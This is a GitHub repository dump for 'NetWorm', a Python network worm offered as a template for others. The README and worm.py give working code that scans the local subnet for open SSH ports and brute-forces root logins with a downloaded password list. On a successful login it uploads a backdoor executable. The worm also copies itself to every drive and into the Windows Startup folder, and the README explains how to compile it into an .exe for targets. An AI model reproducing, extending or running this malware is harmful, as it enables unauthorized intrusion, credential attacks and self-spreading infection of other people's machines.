├── LICENSE ├── README.md ├── networking.py ├── requirements.txt ├── screenshots └── pic1.PNG └── worm.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Filip Komárek 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NetWorm 2 | [![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/) 3 | 4 | > Python network worm that spreads on the local network and gives the attacker control of these machines. 5 | 6 | This code is not finished and works more like a "worm template" for you to get inspiration at the moment. 7 | 8 | You can bruteforce ssh servers, spread with USBs, etc.. 9 | 10 | ## Screenshots 11 | ![bruteforcing local machines](https://github.com/pylyf/NetWorm/blob/master/screenshots/pic1.PNG) 12 | 13 | _Bruteforcing local machines with port 22 open._ 14 | 15 | ## Downloading necessary libraries 16 | 17 | ``` 18 | pip install -r requirements.txt 19 | ``` 20 | 21 | ## Executing 22 | 23 | Windows & Linux: 24 | 25 | ``` 26 | python worm.py 27 | ``` 28 | 29 | ## Compilation (.exe) 30 | 31 | Targeted machines won´t probably have python and the required libraries installed. 32 | To run this code on other machines, you need to convert it into an executable. 33 | 34 | I recommend the [Pyinstaller library](https://www.pyinstaller.org/). 35 | 36 | To use it, simply write these commands in your terminal: 37 | ``` 38 | pip install pyinstaller 39 | 40 | pyinstaller worm.py 41 | ``` 42 | 43 | 44 | 45 | ## Meta 46 | 47 | [https://github.com/pylyf/NetWorm](https://github.com/pylyf/NetWorm) 48 | 49 | Distributed under the MIT license. 50 | 51 | ## Contributing 52 | 53 | 1. Fork it () 54 | 2. Create your feature branch (`git checkout -b feature/fooBar`) 55 | 3. Commit your changes (`git commit -am 'Add some fooBar'`) 56 | 4. Push to the branch (`git push origin feature/fooBar`) 57 | 5. Create a new Pull Request 58 | 59 | ## Legal Advice 60 | This repository and every script included in it is for educational and testing purposes only. 61 | The owner nor any contributor is not responsible for your actions. 62 | 63 | -------------------------------------------------------------------------------- /networking.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from urllib.request import urlopen 3 | import urllib 4 | 5 | def get_private_ip(): 6 | """ 7 | Gets private IP address of this machine. 8 | This will be used for scanning other computers on LAN. 9 | 10 | Returns: 11 | private IP address 12 | """ 13 | ip = socket.gethostbyname(socket.gethostname()) 14 | return ip 15 | 16 | 17 | def get_public_ip(): 18 | """ 19 | Gets public IP address of this network. 20 | You can access the router with this ip too. 21 | 22 | Returns: 23 | public IP address 24 | """ 25 | import re 26 | data = str(urlopen('http://checkip.dyndns.com/').read()) 27 | return re.compile(r'Address: (\d+.\d+.\d+.\d+)').search(data).group(1) -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | python-nmap 2 | paramiko 3 | urllib 4 | ftlib 5 | pywin32 6 | netifaces 7 | 8 | -------------------------------------------------------------------------------- /screenshots/pic1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pylyf/NetWorm/9439d6156c2ea061fb64d7fb90e7d8a693ee637b/screenshots/pic1.PNG -------------------------------------------------------------------------------- /worm.py: -------------------------------------------------------------------------------- 1 | #################################### 2 | # File name: worm.py # 3 | # Author: Filip Komárek (pylyf) # 4 | # Status: Development # 5 | # Date created: 7/6/2018 # 6 | #################################### 7 | import nmap 8 | import paramiko 9 | import os 10 | import socket 11 | from urllib.request import urlopen 12 | import urllib 13 | import time 14 | from ftplib import FTP 15 | import ftplib 16 | from shutil import copy2 17 | import win32api 18 | import netifaces 19 | from threading import Thread 20 | 21 | # ----- ----- 22 | import networking 23 | # ----- ----- 24 | 25 | # ------------------- Logging ----------------------- # 26 | import coloredlogs, logging 27 | logger = logging.getLogger(__name__) 28 | coloredlogs.install(fmt='%(message)s',level='DEBUG', logger=logger) 29 | # --------------------------------------------------- # 30 | 31 | 32 | # gets gateway of the network 33 | gws = netifaces.gateways() 34 | gateway = gws['default'][netifaces.AF_INET][0] 35 | 36 | def scan_hosts(port): 37 | """ 38 | Scans all machines on the same network that 39 | have the specified port enabled 40 | Returns: 41 | IP addresses of hosts 42 | """ 43 | logger.debug(f"Scanning machines on the same network with port {port} open.") 44 | 45 | 46 | logger.debug("Gateway: " + gateway) 47 | 48 | port_scanner = nmap.PortScanner() 49 | port_scanner.scan(gateway + "/24", arguments='-p'+str(port)+' --open') 50 | 51 | all_hosts = port_scanner.all_hosts() 52 | 53 | logger.debug("Hosts: " + str(all_hosts)) 54 | return all_hosts 55 | 56 | 57 | def download_ssh_passwords(filename): 58 | """ 59 | Downloads most commonly used ssh passwords from a specific url 60 | Clearly, you can store passwords in a dictionary, but i found this more comfortable 61 | 62 | Args: 63 | filename - Name to save the file as. 64 | """ 65 | 66 | # TODO:130 This wordlist contains only few passwords. You would need a bigger one for real bruteforcing. \_(OwO)_/ 67 | 68 | logger.debug("Downloading passwords...") 69 | url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt" 70 | urllib.request.urlretrieve(url, filename) 71 | logger.debug("Passwords downloaded!") 72 | 73 | 74 | def connect_to_ftp(host, username, password): 75 | # TODO:30 : Finish this function + Add bruteforcing 76 | try: 77 | ftp = FTP(host) 78 | ftp.login(username, password) 79 | except ftplib.all_errors as error: 80 | logger.error(error) 81 | pass 82 | 83 | 84 | def connect_to_ssh(host, password): 85 | """ 86 | Tries to connect to a SSH server 87 | 88 | Returns: 89 | True - Connection successful 90 | False - Something went wrong 91 | 92 | Args: 93 | host - Target machine's IP 94 | password - Password to use 95 | """ 96 | 97 | # TODO:120 Pass usernames to the function too 98 | 99 | client = paramiko.SSHClient() 100 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 101 | try: 102 | logger.debug("Connecting to: " + host) 103 | client.connect(host, 22, "root", password) 104 | logger.debug("Successfully connected!") 105 | 106 | sftp = client.open_sftp() 107 | sftp.put('backdoor.exe', "destination") # change this. 108 | 109 | return True 110 | except socket.error: 111 | logger.error("Computer is offline or port 22 is closed") 112 | return False 113 | except paramiko.ssh_exception.AuthenticationException: 114 | logger.error("Wrong Password or Username") 115 | return False 116 | except paramiko.ssh_exception.SSHException: 117 | # socket is open, but not SSH service responded 118 | logger.error("No response from SSH server") 119 | return False 120 | 121 | 122 | def bruteforce_ssh(host, wordlist): 123 | """ 124 | Calls connect_to_ssh function and 125 | tries to bruteforce the target server. 126 | 127 | Args: 128 | wordlist - TXT file with passwords 129 | 130 | """ 131 | # TODO:10 : Bruteforce usernames too 132 | file = open(wordlist, "r") 133 | for line in file: 134 | connection = connect_to_ssh(host, line) 135 | print(connection) 136 | time.sleep(5) 137 | 138 | def drivespreading(): 139 | # This function makes the worm copy itself on other drives on the computer 140 | # (also on the "startup" folder to be executed every time the computer boots) 141 | 142 | # WARNING: This function is very obvious to the user. The worm will be suddenly on every drive. 143 | # You may want to change the code and e.g. copy the worm only on new drives 144 | bootfolder = os.path.expanduser('~') + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" 145 | 146 | while True: 147 | drives = win32api.GetLogicalDriveStrings() 148 | drives = drives.split('\000')[:-1] 149 | print(drives) 150 | for drive in drives: 151 | try: 152 | if "C:\\" == drive: 153 | copy2(__file__, bootfolder) 154 | else: 155 | copy2(__file__, drive) 156 | except: 157 | pass 158 | 159 | time.sleep(3) 160 | 161 | def start_drive_spreading(): 162 | # Starts "drivespreading" function as a threaded function. 163 | # This means that the code will spread on drives and execute other functions at the same time. 164 | thread = Thread(target = drivespreading) 165 | thread.start() 166 | 167 | def main(): 168 | start_drive_spreading() 169 | 170 | 171 | if __name__ == "__main__": 172 | main() 173 | --------------------------------------------------------------------------------